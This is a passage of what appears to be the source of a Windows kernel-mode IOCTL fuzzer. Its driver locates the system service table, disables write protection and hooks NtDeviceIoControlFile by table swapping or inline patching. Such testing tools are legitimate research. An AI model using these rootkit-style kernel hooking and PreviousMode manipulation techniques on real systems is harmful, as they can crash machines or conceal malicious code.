KernelGetExportAddress(PVOID Image, char *lpszFunctionName);\nPOBJECT_NAME_INFORMATION GetObjectName(PVOID pObject);\nPOBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject);\nPOBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name);\nBOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath);\nPVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass);\nBOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength);\nBOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len);\nULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh);\nBOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize);\nBOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize);\nBOOLEAN DeleteFile(PUNICODE_STRING usFileName);\nBOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize);\nvoid __stdcall ClearWp(PVOID Param);\nvoid __stdcall SetWp(PVOID Param);\nvoid ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param);\nULONG GetSyscallNumber(char *lpszName);\nBOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize);\nBOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize);\nBOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath);\n\n\ntypedef struct _MAPPED_MDL\n{\n PMDL Mdl;\n PVOID Buffer;\n PVOID MappedBuffer;\n\n} MAPPED_MDL,\n*PMAPPED_MDL;\n\nBOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo);\nvoid FreeUserMemory(PMAPPED_MDL MdlInfo);\n\nBOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_asm.h", "content": "#ifdef __cplusplus\nextern \"C\" \n{\n#endif\n\nvoid __stdcall _clear_wp(void);\nvoid __stdcall _set_wp(void);\n\nNTSTATUS \nNTAPI \n_ZwProtectVirtualMemory(\n HANDLE ProcessHandle,\n PVOID *BaseAddress,\n PSIZE_T NumberOfBytesToProtect,\n ULONG NewAccessProtection,\n PULONG OldAccessProtection \n);\n\n#ifdef __cplusplus\n}\n#endif \n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_change_asm.cpp", "content": "#include \"common_change_asm.h\"\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.c", "content": "#include \"stdafx.h\"\n\n#define DBGMSG_BUFF_SIZE 0x1000\n\nHANDLE hDbgPipe = NULL, hDbgLogFile = NULL;\nKMUTEX DbgMutex;\n//--------------------------------------------------------------------------------------\nchar *GetNameFromFullPath(char *lpszPath)\n{\n char *lpszName = lpszPath;\n\n\tsize_t i = 0;\n for (i = 0; i < strlen(lpszPath); i++)\n {\n if (lpszPath[i] == '\\\\' || lpszPath[i] == '/')\n {\n lpszName = lpszPath + i + 1;\n }\n }\n\n return lpszName;\n}\n//--------------------------------------------------------------------------------------\n#ifdef DBGMSG_FULL\n//--------------------------------------------------------------------------------------\nvoid DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)\n{\n va_list mylist;\n\n\tchar *lpszOutBuff = NULL;\n char *lpszBuff = (char *)M_ALLOC(DBGMSG_BUFF_SIZE);\n if (lpszBuff == NULL)\n {\n return;\n }\n\n lpszOutBuff = (char *)M_ALLOC(DBGMSG_BUFF_SIZE);\n if (lpszOutBuff == NULL)\n {\n M_FREE(lpszBuff);\n return;\n }\n\n va_start(mylist, lpszMsg);\n vsprintf(lpszBuff, lpszMsg, mylist);\t\n va_end(mylist);\n\n sprintf(lpszOutBuff, \"%s(%d) : %s\", GetNameFromFullPath(lpszFile), Line, lpszBuff);\t\n\n#ifdef DBGMSG\n\n DbgPrint(lpszOutBuff);\n\n#endif\n\n#if defined(DBGPIPE) || defined(DBGLOGFILE)\n\n if (KeGetCurrentIrql() == PASSIVE_LEVEL)\n {\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n if (hDbgPipe)\n {\n // write debug message into pipe\n IO_STATUS_BLOCK IoStatusBlock;\n ULONG Len = (ULONG)strlen(lpszOutBuff) + 1;\n\n ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, (PVOID)&Len, sizeof(Len), NULL, NULL);\n ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, lpszOutBuff, Len, NULL, NULL);\n }\n\n if (hDbgLogFile)\n {\n // write debug message into logfile\n IO_STATUS_BLOCK IoStatusBlock;\n ULONG Len = (ULONG)strlen(lpszOutBuff);\n\n ZwWriteFile(hDbgLogFile, 0, NULL, NULL, &IoStatusBlock, lpszOutBuff, Len, NULL, NULL);\n }\n\n KeReleaseMutex(&DbgMutex, FALSE);\n } \n\n#endif // DBGPIPE/DBGLOGFILE\n\n M_FREE(lpszBuff);\n M_FREE(lpszOutBuff);\n}\n//--------------------------------------------------------------------------------------\n#ifdef DBGPIPE\n//--------------------------------------------------------------------------------------\nvoid DbgOpenPipe(void)\n{\n OBJECT_ATTRIBUTES ObjAttr; \n IO_STATUS_BLOCK IoStatusBlock;\n UNICODE_STRING usPipeName;\n\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\n RtlInitUnicodeString(&usPipeName, L\"\\\\Device\\\\NamedPipe\\\\\" DBG_PIPE_NAME);\n\n InitializeObjectAttributes(&ObjAttr, &usPipeName, \n OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n // open data pipe by name\n status = ZwCreateFile(\n &hDbgPipe, \n FILE_WRITE_DATA | SYNCHRONIZE, \n &ObjAttr, \n &IoStatusBlock,\n 0, \n FILE_ATTRIBUTE_NORMAL, \n 0, \n FILE_OPEN, \n FILE_SYNCHRONOUS_IO_NONALERT, \n NULL, \n 0\n );\n if (!NT_SUCCESS(status))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwCreateFile() fails; status: 0x%.8x\\n\", status);\n }\n\n KeReleaseMutex(&DbgMutex, FALSE);\n}\n//--------------------------------------------------------------------------------------\nvoid DbgClosePipe(void)\n{\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n\tif (hDbgPipe)\n {\n ZwClose(hDbgPipe);\n hDbgPipe = NULL;\n }\n\n KeReleaseMutex(&DbgMutex, FALSE);\n}\n//--------------------------------------------------------------------------------------\n#endif // DBGPIPE\n//--------------------------------------------------------------------------------------\n#ifdef DBGLOGFILE\n//--------------------------------------------------------------------------------------\nvoid DbgOpenLogFile(void)\n{\n OBJECT_ATTRIBUTES ObjAttr;\n IO_STATUS_BLOCK StatusBlock;\n UNICODE_STRING usFileName;\n\n RtlInitUnicodeString(&usFileName, DBG_LOGFILE_NAME);\n\n InitializeObjectAttributes(&ObjAttr, &usFileName, \n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n NTSTATUS status = ZwCreateFile(\n &hDbgLogFile,\n FILE_ALL_ACCESS | SYNCHRONIZE,\n &ObjAttr,\n &StatusBlock,\n NULL,\n FILE_ATTRIBUTE_NORMAL,\n 0,\n FILE_OVERWRITE_IF,\n FILE_SYNCHRONOUS_IO_NONALERT,\n NULL,\n 0\n );\n if (!NT_SUCCESS(status))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwCreateFile() fails; status: 0x%.8x\\n\", status);\n }\n\n KeReleaseMutex(&DbgMutex, FALSE);\n}\n//--------------------------------------------------------------------------------------\n#endif // DBGLOGFILE\n//--------------------------------------------------------------------------------------\nvoid DbgClose(void)\n{\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n if (hDbgPipe)\n {\n ZwClose(hDbgPipe);\n hDbgPipe = NULL;\n }\n\n if (hDbgLogFile)\n {\n ZwClose(hDbgLogFile);\n hDbgLogFile = NULL;\n }\n\n KeReleaseMutex(&DbgMutex, FALSE);\n}\n//--------------------------------------------------------------------------------------\nvoid DbgInit(void)\n{\n\n#if defined(DBGPIPE) || defined(DBGLOGFILE)\n\n KeInitializeMutex(&DbgMutex, NULL);\n\n#endif // DBGPIPE/DBGLOGFILE\n\n}\n//--------------------------------------------------------------------------------------\n#endif // DBGMSG_FULL\n//--------------------------------------------------------------------------------------\nvoid DbgHexdump(PUCHAR Data, ULONG Length)\n{\n ULONG dp = 0, p = 0;\n const char trans[] =\n \"................................ !\\\"#$%&'()*+,-./0123456789\"\n \":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklm\"\n \"nopqrstuvwxyz{|}~....................................\"\n \".....................................................\"\n \"........................................\";\n\n char szBuff[0x100], szChar[10];\n RtlZeroMemory(szBuff, sizeof(szBuff));\n\n for (dp = 1; dp <= Length; dp++) \n {\n sprintf(szChar, \"%02x \", Data[dp-1]);\n strcat(szBuff, szChar);\n\n if ((dp % 8) == 0)\n {\n strcat(szBuff, \" \");\n }\n\n if ((dp % 16) == 0) \n {\n strcat(szBuff, \"| \");\n p = dp;\n\n for (dp -= 16; dp < p; dp++)\n {\n sprintf(szChar, \"%c\", trans[Data[dp]]);\n strcat(szBuff, szChar);\n }\n\n DbgMsg(__FILE__, __LINE__, \"%.8x: %s\\r\\n\", dp - 16, szBuff);\n RtlZeroMemory(szBuff, sizeof(szBuff));\n }\n }\n\n if ((Length % 16) != 0) \n {\n p = dp = 16 - (Length % 16);\n\n for (dp = p; dp > 0; dp--) \n {\n strcat(szBuff, \" \");\n\n if (((dp % 8) == 0) && (p != 8))\n {\n strcat(szBuff, \" \");\n }\n }\n\n strcat(szBuff, \" | \");\n for (dp = (Length - (16 - p)); dp < Length; dp++)\n {\n sprintf(szChar, \"%c\", trans[Data[dp]]);\n strcat(szBuff, szChar);\n }\n\n DbgMsg(__FILE__, __LINE__, \"%.8x: %s\\r\\n\", Length - (Length % 16), szBuff);\n }\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.h", "content": "#include \n#ifdef DBGMSG_FULL\n\nvoid DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);\nvoid DbgClose(void);\nvoid DbgInit(void);\n\n#else // DBGMSG_FULL\n\n#define DbgMsg\n#define DbgClose\n#define DbgInit\n\n#endif // DBGMSG_FULL\n\n#ifdef DBGPIPE\nvoid DbgOpenPipe(void);\nvoid DbgClosePipe(void);\n#endif\n\n#ifdef DBGLOGFILE\nvoid DbgOpenLogFile(void);\n#endif\n\nvoid DbgHexdump(PUCHAR Data, ULONG Length);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.c", "content": "#include \"stdafx.h\"\n\n/**\n * Offsets for some undocummented structures\n */\nULONG m_KTHREAD_PrevMode = 0;\n\n/**\n * System services numbers\n */ \n//extern \"C\" \n//{\nULONG m_SDT_NtDeviceIoControlFile = 0;\nULONG m_SDT_NtProtectVirtualMemory = 0;\n\n#ifdef _AMD64_\n// need for system services calling on x64 kernels\nPVOID _KiServiceInternal = 0;\n#endif\n\nextern POBJECT_TYPE *IoDeviceObjectType;\nextern POBJECT_TYPE *IoFileObjectType;\n\n//}\n\n// defined in handlers.cpp\nextern NT_DEVICE_IO_CONTROL_FILE old_NtDeviceIoControlFile;\n\n#ifdef _AMD64_\n// stuff for function code patching\nULONG NtDeviceIoControlFile_BytesPatched = 0;\nNT_DEVICE_IO_CONTROL_FILE f_NtDeviceIoControlFile = NULL;\n#endif\n\nRTL_OSVERSIONINFOW m_VersionInformation;\n\nPDEVICE_OBJECT m_DeviceObject = NULL;\nUNICODE_STRING m_usDosDeviceName, m_usDeviceName;\nUNICODE_STRING m_RegistryPath;\n\nPCOMMON_LST m_ProcessesList = NULL;\nKMUTEX m_CommonMutex;\n\nBOOLEAN m_bHooksInitialized = FALSE;\n\n/**\n * Fuzzing settings\n * defined in handlers.cpp\n */\nextern FUZZING_TYPE m_FuzzingType;\nextern ULONG m_FuzzOptions;\n\nextern HANDLE m_FuzzThreadId;\nextern PEPROCESS m_FuzzProcess;\nextern PUSER_MODE_DATA m_UserModeData;\n\nPSERVICE_DESCRIPTOR_TABLE m_KeServiceDescriptorTable = NULL;\n#define SYSTEM_SERVICE(_p_) m_KeServiceDescriptorTable->Entry[0].ServiceTableBase[_p_]\n\n// defined in log.cpp\nextern HANDLE m_hIoctlsLogFile;\nextern UNICODE_STRING m_usIoctlsLogFilePath;\n\n//extern \"C\" PUSHORT NtBuildNumber;\n//extern \"C\" NTSTATUS NTAPI DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath);\n//--------------------------------------------------------------------------------------\nULONG GetPrevModeOffset(void)\n{\n ULONG Ret = 0;\n\n PVOID KernelBase = KernelGetModuleBase(\"ntoskrnl.exe\");\n if (KernelBase)\n {\n // get address of nt!ExGetPreviousMode()\n ULONG Func_RVA = KernelGetExportAddress(KernelBase, \"ExGetPreviousMode\");\n if (Func_RVA > 0)\n {\n PUCHAR Func = (PUCHAR)RVATOVA(KernelBase, Func_RVA);\n\n#ifdef _X86_\n\n /*\n nt!ExGetPreviousMode:\n 8052b334 64a124010000 mov eax,dword ptr fs:[00000124h]\n 8052b33a 8a8040010000 mov al,byte ptr [eax+140h]\n 8052b340 c3 ret\n */\n\n // check for mov instruction\n if (*(PUSHORT)(Func + 6) == 0x808a)\n {\n // get offset value from second operand\n Ret = *(PULONG)(Func + 8);\n }\n\n#elif _AMD64_\n \n /*\n nt!ExGetPreviousMode:\n fffff800`02691d50 65488b042588010000 mov rax,qword ptr gs:[188h]\n fffff800`02691d59 8a80f6010000 mov al,byte ptr [rax+1F6h]\n fffff800`02691d5f c3 ret\n */\n\n // check for mov instruction\n if (*(PUSHORT)(Func + 9) == 0x808a)\n {\n // get offset value from second operand\n Ret = *(PULONG)(Func + 11);\n }\n#endif\n\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Unable to locate kernel base\\n\");\n }\n\n if (Ret)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): KTHREAD::PreviousMode offset is 0x%.4x\\n\", Ret);\n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nPVOID GetKeSDT(void)\n{\n PVOID Ret = NULL;\n\n#ifdef _X86_\n\n PVOID KernelBase = KernelGetModuleBase(\"ntoskrnl.exe\");\n if (KernelBase)\n {\n ULONG KeSDT_RVA = KernelGetExportAddress(KernelBase, \"KeServiceDescriptorTable\");\n if (KeSDT_RVA > 0)\n {\n Ret = RVATOVA(KernelBase, KeSDT_RVA);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Unable to locate kernel base\\n\");\n }\n\n#elif _AMD64_\n\n #define MAX_INST_LEN 24\n\n PVOID KernelBase = KernelGetModuleBase(\"ntoskrnl.exe\");\n if (KernelBase)\n {\n ULONG Func_RVA = KernelGetExportAddress(KernelBase, \"KeAddSystemServiceTable\");\n if (Func_RVA > 0)\n {\n\t\t\tUCHAR ud_mode = 64;\n\t\t\tULONG i = 0;\n\n\n // initialize disassembler engine\n ud_t ud_obj;\n ud_init(&ud_obj);\n\n \n\n // set mode, syntax and vendor\n ud_set_mode(&ud_obj, ud_mode);\n ud_set_syntax(&ud_obj, UD_SYN_INTEL);\n ud_set_vendor(&ud_obj, UD_VENDOR_INTEL);\n\n for (i = 0; i < 0x40;)\n {\n\t\t\t\tULONG InstLen = 0;\n PUCHAR Inst = (PUCHAR)RVATOVA(KernelBase, Func_RVA + i);\n if (!MmIsAddressValid(Inst))\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Invalid memory at \"IFMT\"\\n\", Inst);\n break;\n }\n \n ud_set_input_buffer(&ud_obj, Inst, MAX_INST_LEN);\n\n // get length of the instruction\n InstLen = ud_disassemble(&ud_obj);\n if (InstLen == 0)\n {\n // error while disassembling instruction\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't disassemble instruction at \"IFMT\"\\n\", Inst);\n break;\n }\n\n /*\n Check for the following code\n\n nt!KeAddSystemServiceTable:\n fffff800`012471c0 448b542428 mov r10d,dword ptr [rsp+28h]\n fffff800`012471c5 4183fa01 cmp r10d,1\n fffff800`012471c9 0f871ab70c00 ja nt!KeAddSystemServiceTable+0x78\n fffff800`012471cf 498bc2 mov rax,r10\n fffff800`012471d2 4c8d1d278edbff lea r11,0xfffff800`01000000\n fffff800`012471d9 48c1e005 shl rax,5\n fffff800`012471dd 4a83bc1880bb170000 cmp qword ptr [rax+r11+17BB80h],0\n fffff800`012471e6 0f85fdb60c00 jne nt!KeAddSystemServiceTable+0x78\n */\n\n if ((*(PULONG)Inst & 0x00ffffff) == 0x1d8d4c &&\n (*(PUSHORT)(Inst + 0x0b) == 0x834b || *(PUSHORT)(Inst + 0x0b) == 0x834a))\n {\n // clculate nt!KeServiceDescriptorTableAddress\n LARGE_INTEGER Addr;\n Addr.QuadPart = (ULONGLONG)Inst + InstLen;\n Addr.LowPart += *(PULONG)(Inst + 0x03) + *(PULONG)(Inst + 0x0f);\n\n Ret = (PVOID)Addr.QuadPart;\n\n break;\n }\n\n i += InstLen;\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Unable to locate kernel base\\n\");\n }\n\n#endif\n\n if (Ret)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): nt!KeServiceDescriptorTable is at \"IFMT\"\\n\", Ret);\n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nULONG LoadSyscallNumber(char *lpszName)\n{ \n ULONG Ret = -1;\n UNICODE_STRING usName; \n ANSI_STRING asName;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n RtlInitAnsiString(&asName, lpszName); \n ns = RtlAnsiStringToUnicodeString(&usName, &asName, TRUE);\n if (NT_SUCCESS(ns))\n {\n HANDLE hKey = NULL;\n OBJECT_ATTRIBUTES ObjAttr;\n InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n // open service key\n ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr);\n if (NT_SUCCESS(ns)) \n {\n PVOID Val = NULL;\n ULONG ValSize = 0;\n WCHAR wcValueName[0x100];\n swprintf(wcValueName, L\"%wZ\", &usName);\n\n if (RegQueryValueKey(hKey, wcValueName, REG_DWORD, &Val, &ValSize))\n {\n if (ValSize == sizeof(ULONG))\n {\n Ret = *(PULONG)Val;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() WARNING: Invalid size for '%ws' value\\n\", wcValueName);\n }\n\n M_FREE(Val);\n }\n\n if (Ret == -1)\n {\n Ret = GetSyscallNumber(lpszName);\n if (Ret != -1)\n {\n RegSetValueKey(hKey, wcValueName, REG_DWORD, (PVOID)&Ret, sizeof(ULONG));\n }\n }\n\n ZwClose(hKey); \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwOpenKey() fails; status: 0x%.8x\\n\", ns);\n }\n\n RtlFreeUnicodeString(&usName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\\n\", ns);\n } \n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN InitSdtNumbers(void)\n{\n\tPVOID KernelBase = NULL;\n m_SDT_NtDeviceIoControlFile = LoadSyscallNumber(\"NtDeviceIoControlFile\");\n m_SDT_NtProtectVirtualMemory = LoadSyscallNumber(\"NtProtectVirtualMemory\");\n \n DbgMsg(__FILE__, __LINE__, \"SDT number of NtDeviceIoControlFile: 0x%.8x\\n\", m_SDT_NtDeviceIoControlFile);\n DbgMsg(__FILE__, __LINE__, \"SDT number of NtProtectVirtualMemory: 0x%.8x\\n\", m_SDT_NtProtectVirtualMemory);\n \n#ifdef _AMD64_\n\n // get nt!KiServiceInternal address\n KernelBase = KernelGetModuleBase(\"ntoskrnl.exe\");\n if (KernelBase)\n {\n // get address of nt!ZwCreateFile()\n ULONG FuncOffset = KernelGetExportAddress(KernelBase, \"ZwCreateFile\");\n if (FuncOffset > 0)\n {\n PUCHAR FuncAddr = (PUCHAR)RVATOVA(KernelBase, FuncOffset);\n/*\n nt!ZwCreateFile:\n fffff800`0169c800 488bc4 mov rax,rsp\n fffff800`0169c803 fa cli\n fffff800`0169c804 4883ec10 sub rsp,10h\n fffff800`0169c808 50 push rax\n fffff800`0169c809 9c pushfq\n fffff800`0169c80a 6a10 push 10h\n fffff800`0169c80c 488d052d4b0000 lea rax,[nt!KiServiceLinkage (fffff800`016a1340)]\n fffff800`0169c813 50 push rax\n fffff800`0169c814 b852000000 mov eax,52h\n fffff800`0169c819 e962430000 jmp nt!KiServiceInternal (fffff800`016a0b80)\n*/\n PUCHAR JmpAddr = FuncAddr + 25;\n if (*JmpAddr == 0xE9)\n {\n _KiServiceInternal = (PVOID)((PCHAR)JmpAddr + *(PLONG)(JmpAddr + 1) + 5);\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): nt!KiServiceInternal is at \"IFMT\"\\n\", _KiServiceInternal);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't find nt!KiServiceInternal\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't get address of nt!ZwCreateFile\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't get kernel base address\\n\");\n } \n\n#endif // _AMD64_\n \n if (m_SDT_NtDeviceIoControlFile > 0 && m_SDT_NtProtectVirtualMemory > 0)\n {\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: GetSyscallNumber() fails for one or more function\\n\");\n }\n \n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN SetUpHooks(void)\n{\n if (m_bHooksInitialized)\n {\n // hooks is allready initialized\n return TRUE;\n }\n\n // lookup for SDT indexes\n if (!InitSdtNumbers())\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: InitSdtNumbers() fails\\n\");\n return FALSE;\n }\n\n if (m_KeServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)GetKeSDT())\n {\n\t\tPULONG KiST = NULL;\n\t\tLARGE_INTEGER Addr;\n // disable memory write protection\n ForEachProcessor(ClearWp, NULL); \n\n#ifdef _X86_ \n\n // set up hook\n old_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)InterlockedExchange(\n (PLONG)&SYSTEM_SERVICE(m_SDT_NtDeviceIoControlFile), \n (LONG)new_NtDeviceIoControlFile\n );\n\n// DbgMsg(\n// __FILE__, __LINE__, \n// \"Hooking nt!NtDeviceIoControlFile(): \"IFMT\" -> \"IFMT\"\\n\",\n// old_NtDeviceIoControlFile, new_NtDeviceIoControlFile\n// );\n\n#elif _AMD64_\n\n KiST = (PULONG)m_KeServiceDescriptorTable->Entry[0].ServiceTableBase;\n \n \n /*\n Calculate address of nt!NtDeviceIoControlFile() by offset\n from the begining of nt!KiServiceTable.\n Low 15 bits stores number of in-memory arguments.\n */\n Addr.QuadPart = (LONGLONG)KiST;\n\n if (m_VersionInformation.dwMajorVersion >= 6)\n {\n // Vista and newer\n ULONG Val = *(KiST + m_SDT_NtDeviceIoControlFile);\n Val -= *(KiST + m_SDT_NtDeviceIoControlFile) & 15;\n Addr.LowPart += Val >> 4;\n }\n else\n {\n // Server 2003\n Addr.LowPart += *(KiST + m_SDT_NtDeviceIoControlFile);\n Addr.LowPart -= *(KiST + m_SDT_NtDeviceIoControlFile) & 15;\n } \n\n f_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)Addr.QuadPart;\n\n DbgMsg(\n __FILE__, __LINE__, \n __FUNCTION__\"(): nt!NtDeviceIoControlFile() is at \"IFMT\"\\n\",\n Addr.QuadPart\n );\n\n// DbgMsg(\n// __FILE__, __LINE__, \n// \"Hooking nt!NtDeviceIoControlFile(): \"IFMT\" -> \"IFMT\"\\n\",\n// f_NtDeviceIoControlFile, new_NtDeviceIoControlFile\n// );\n\n old_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)Hook(\n f_NtDeviceIoControlFile,\n new_NtDeviceIoControlFile,\n &NtDeviceIoControlFile_BytesPatched\n );\n\n#endif\n\n // enable memory write protection\n ForEachProcessor(SetWp, NULL); \n\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: GetKeSDT() fails\\n\");\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN RemoveHooks(void)\n{\n if (m_SDT_NtDeviceIoControlFile == 0)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: m_SDT_NtDeviceIoControlFile is not initialized\\n\");\n return FALSE;\n }\n\n if (m_KeServiceDescriptorTable == NULL)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: m_KeServiceDescriptorTable is not initialized\\n\");\n return FALSE;\n }\n\n if (old_NtDeviceIoControlFile)\n {\n ForEachProcessor(ClearWp, NULL);\n\n#ifdef _X86_\n\n // restore changed address in nt!KiServiceTable\n InterlockedExchange(\n (PLONG)&SYSTEM_SERVICE(m_SDT_NtDeviceIoControlFile), \n (LONG)old_NtDeviceIoControlFile\n );\n\n#elif _AMD64_\n\n // restore patched function code\n memcpy(f_NtDeviceIoControlFile, old_NtDeviceIoControlFile, NtDeviceIoControlFile_BytesPatched);\n\n#endif\n\n ForEachProcessor(SetWp, NULL);\n }\n\n m_bHooksInitialized = FALSE;\n\n return TRUE;\n}\n//--------------------------------------------------------------------------------------\nvoid SetPreviousMode(KPROCESSOR_MODE Mode)\n{\n PRKTHREAD CurrentThread = KeGetCurrentThread();\n *((PUCHAR)CurrentThread + m_KTHREAD_PrevMode) = (UCHAR)Mode;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN SaveFuzzerOptions(void)\n{\n HANDLE hKey = NULL;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n OBJECT_ATTRIBUTES ObjAttr;\n InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n // open service key\n ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr);\n if (NT_SUCCESS(ns))\n {\n UNICODE_STRING usAllowRules, usDenyRules;\n RtlInitUnicodeString(&usAllowRules, L\"_allow_rules\");\n RtlInitUnicodeString(&usDenyRules, L\"_deny_rules\");\n\n // save allow rules\n SaveAllowRules(hKey, &usAllowRules);\n\n // save deny rules\n SaveDenyRules(hKey, &usDenyRules);\n\n // save options\n RegSetValueKey(hKey, L\"_options\", REG_DWORD, (PVOID)&m_FuzzOptions, sizeof(ULONG));\n\n // save fuzzing type\n RegSetValueKey(hKey, L\"_fuzzing_type\", REG_DWORD, (PVOID)&m_FuzzingType, sizeof(ULONG));\n\n ZwClose(hKey);\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwOpenKey() fails; status: 0x%.8x\\n\", ns);\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN DeleteSavedFuzzerOptions(void)\n{\n HANDLE hKey = NULL;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n OBJECT_ATTRIBUTES ObjAttr;\n InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n // open service key\n ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr);\n if (NT_SUCCESS(ns))\n {\n UNICODE_STRING usAllowRules, usDenyRules, usOptions, usFuzzingType;\n RtlInitUnicodeString(&usAllowRules, L\"_allow_rules\");\n RtlInitUnicodeString(&usDenyRules, L\"_deny_rules\");\n RtlInitUnicodeString(&usOptions, L\"_options\");\n RtlInitUnicodeString(&usFuzzingType, L\"_fuzzing_type\");\n\n // remove saved options\n ZwDeleteValueKey(hKey, &usAllowRules);\n ZwDeleteValueKey(hKey, &usDenyRules);\n ZwDeleteValueKey(hKey, &usOptions);\n ZwDeleteValueKey(hKey, &usFuzzingType);\n\n ZwClose(hKey);\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwOpenKey() fails; status: 